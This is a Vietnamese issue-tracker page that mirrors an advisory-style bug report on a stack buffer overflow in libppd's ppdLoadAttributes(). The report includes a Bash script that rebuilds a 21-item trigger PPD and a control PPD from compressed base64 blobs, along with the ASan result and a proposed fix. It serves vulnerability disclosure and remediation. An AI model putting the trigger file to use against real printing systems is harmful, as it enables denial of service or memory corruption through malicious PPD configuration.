libppd: a 21-item PPD attribute writes past items[20]
Chưa có ai nhận issue này.
Đánh giá
- Độ khó
- 3/5
- Thời gian dự kiến
- 1-2 ngày
- Mức phù hợp với người mới
- 72/100
Hướng nghiên cứu
Bắt đầu trong ppd/ppd-ipp.c tại ppdLoadAttributes(), đặc biệt là phần khai báo items quanh dòng 331 và logic append ở các dòng 615-620. Chạy reproduce.sh với các đầu vào control gồm 20 item và trigger gồm 21 item để quan sát lỗi ASan hiện tại. Hoàn tất khi các attributes vượt quá số item được hỗ trợ không còn ghi ra ngoài mảng trên stack, trong khi trường hợp control vẫn sạch.
Do mô hình lập chỉ mục viết ra từ nội dung của issue.
Mô tả
Summary
ppdLoadAttributes() splits selected comma-separated PPD attributes into a
fixed 20-pointer stack array without limiting the item count. A 21-item
cupsPwgRasterAuditSupported value causes a stack-buffer-overflow write before
the document parser runs.
Validated libppd source:
- tested build:
522af8dd135f4dde66b1aac8b9d067808bbe122d - current upstream HEAD:
fc41539f761286396a7df8aeeda762070192e37e
The commits between these revisions only change CI files; ppd/ppd-ipp.c is
byte-identical.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/libppd fc41539f761286396a7df8aeeda762070192e37e.
poc/control-20.ppd contains 20 values and exits normally.
poc/trigger-21.ppd, SHA-256
1f7a2add481f8388d56bebbe0666d8e990613551574b453b26dbb98699050933,
adds one value. Both use the same 85-byte valid PNG.
Run ./reproduce.sh for the trigger or MODE=control ./reproduce.sh for the
control group.
The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.
#!/usr/bin/env bash
set -euo pipefail
# PoC: libppd: a 21-item PPD attribute writes past items[20]
# Finding ID: libppd-ipp-attribute-item-stack-overflow
# Trigger: ppdLoadAttributes() splits selected comma-separated PPD attributes
# into a fixed 20-pointer stack array without limiting the item count. A
# 21-item cupsPwgRasterAuditSupported value causes a stack-buffer-overflow
# write before the document parser runs.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.
OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"
for tool in base64 gzip sha256sum; do
command -v "$tool" >/dev/null || {
printf 'missing required tool: %s\n' "$tool" >&2
exit 1
}
done
write_file() {
local name="$1"
local expected_sha256="$2"
local path="$OUTPUT_DIR/$name"
local actual_sha256
mkdir -p "$(dirname "$path")"
base64 --decode | gzip --decompress > "$path"
actual_sha256="$(sha256sum "$path")"
actual_sha256="${actual_sha256%% *}"
if [[ "$actual_sha256" != "$expected_sha256" ]]; then
printf 'SHA-256 mismatch for %s\n' "$path" >&2
return 1
fi
printf '%s %s bytes sha256=%s\n' \
"$path" "$(wc -c < "$path")" "$actual_sha256"
}
# Boundary control input; this case should remain clean.
# Output: control-20.ppd (1047 bytes)
write_file control-20.ppd 79014c8de0b8642cb0607db8dd5412c6e1b4e89964d0044433e2f54155cd52b6 <<'POC_PAYLOAD_0'
H4sIAAAAAAACA61STW/iMBS88yssTi0KH4YCBVWVKBSJFZSoafey2oNJXlNrHdtybFPx6/eFAEmr
7m0PvszMe54ZuxWGi/YsUTuYkuZNZ9BstJbKZMz+BJNzJSuUC6gw2ukhtmYydSyt8EeZCp6/V8yj
jFXCZTolq2i7ZpZL2mhtmHRvLLbOgMFd0ealvXSHAxhcuVEJiCeWFXaeWW7BWKVj8UFeINOCWUBN
9K6MfeLxn5MOF9TYGvGvBeG8SFNNYwcdPAVjVOJii/BVbet1wURV+qtBj/auSVFB7HR+IbCVEilT
uGxXBDxjmJqJudIc8ilZMpFDSaAXeyyCaS14jCUp2fUy6RRk2xwzkB4xtTDNL5M8w667ep9+I9+n
J3W4T8tCZi7hNnJaY42Q4Linge8HfhD4m8APAz8K/Djwt4GfBJ728CBPUUBRQVFCUUNRRFFFUUZR
1z+3Ec7X+A+SH2qHm2XxlwQyWw3ydUVaIRqN+AGLD/GdthI7WMAbc8JWzBosumxctCcA193ddc/g
rxHtk/Gk/7u7wvD4xR4e1AeRToj7+xysRlkCnsfFe8+FyuF1Na2u/2zoGdLj+31n6czVTZXYf7ZV
Lr3cXYwD2wmYGWDV9Z/gygG9JYMRGU5uyHg4atYCaDALnoHMv4So49Wak/lm4y/HD85tFwQAAA==
POC_PAYLOAD_0
# Malformed or boundary document consumed by the real filter/API.
# Output: document.png (85 bytes)
write_file document.png 4f5f710fca2ff97193c3584c9ec5ab6cb1a381a2256c1e649b2eb7d557b47afe <<'POC_PAYLOAD_1'
H4sIAAAAAAACA+sM8HPn5ZLiYmBg4PX0cAkC0pxAzMQBJBjW267kB1Iyni6OIRVzkhMErhf3ar6L
2tHsGHDYTmd76rdlkxksfrILORQWSYPUe7r6uaxzSmgCAEcHHUVVAAAA
POC_PAYLOAD_1
# PPD configuration needed to select the vulnerable filter state.
# Output: trigger-21.ppd (1051 bytes)
write_file trigger-21.ppd 1f7a2add481f8388d56bebbe0666d8e990613551574b453b26dbb98699050933 <<'POC_PAYLOAD_2'
H4sIAAAAAAACA61STW/iMBS88yssTi0KH4YCBVWVKBSJFZSoafey2oNJXlNrHdtybFPx6/eFAEmr
7m0PvszMe54ZuxWGi/YsUTuYkuZNZ9BstJbKZMz+BJNzJSuUC6gw2ukhtmYydSyt8EeZCp6/V8yj
jFXCZTolq2i7ZpZL2mhtmHRvLLbOgMFd0ealvXSHAxhcuVEJiCeWFXaeWW7BWKVj8UFeINOCWUBN
9K6MfeLxn5MOF9TYGvGvBeG8SFNNYwcdPAVjVOJii/BVbet1wURV+qtBj/auSVFB7HR+IbCVEilT
uGxXBDxjmJqJudIc8ilZMpFDSaAXeyyCaS14jCUp2fUy6RRk2xwzkB4xtTDNL5M8w667ep9+I9+n
J3W4T8tCZi7hNnJaY42Q4Linge8HfhD4m8APAz8K/Djwt4GfBJ728CBPUUBRQVFCUUNRRFFFUUZR
10ddn56vmq/xLyQ/1A63y+I/CWS2GuTrirRCNBvxA5Yf4lttJfawgDfmhK2YNVh02rhoTwCuu7vr
nsFfI9on40n/d3eFBeA3e3hQH0Q6Ie7vc7AaZQl4HhdvPhcqh9fVtLr+s6FnSI9v+J2lM1c3VWL/
2Va59HJ3MQ5sJ2BmgFXXf4IrB/SWDEZkOLkh4+GoWQugwSx4BjL/EqKOV2tO5puNvxrz7WgbBAAA
POC_PAYLOAD_2
Result
The control exits 0. The trigger aborts with ASan WRITE of size 8 in
ppdLoadAttributes() at ppd-ipp.c:620; the address is beyond the
items[20] stack object. The real route is:
imagetops -> ppdFilterCUPSWrapper -> ppdFilterLoadPPD -> ppdLoadAttributes
The PPD is trusted configuration in many deployments, so ordinary document
submitters cannot usually supply it. Malicious driver packages, imported PPDs,
or compromised queue configuration can reach the write.
Cause and expected behavior
The parser declares const char *items[20] at line 331, then appends every
comma-delimited value at lines 615-620 without checking num_items.
The parser must reject attributes with more than the supported number of
items, or allocate the pointer array from a checked count before splitting.
- Ngôn ngữ chính
- C
- Star
- 5
- Fork
- 29
- Chỉ số merge pull request
- Không có pull request nào được merge trong 30 ngày
Hướng dẫn đóng góp
Bắt đầu từ đâu
- Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
- Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
- Fork repository và làm thay đổi trên một nhánh.
- Mở pull request có tham chiếu số hiệu của issue.
Issue khác của OpenPrinting/libppd
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 72/100
OpenPrinting/libppd#86 ·
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 78/100
OpenPrinting/libppd#82 ·
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 82/100
OpenPrinting/libppd#81 ·
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 78/100
OpenPrinting/libppd#79 · 1 bình luận ·
-
Độ khó 4/5 3-5 ngày Mức phù hợp với người mới 66/100
OpenPrinting/libppd#84 ·
Tất cả issue của OpenPrinting/libppd
Issue tương tự
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 84/100
-
level/task module/gcp type/bug
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 85/100
-
Build failure with newer clang Đang mở
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 86/100
hapostgres/pg_auto_failover#1190 ·
-
docs
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 85/100
-
P3 sonic-vpp
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 88/100
sonic-net/sonic-buildimage#29662 ·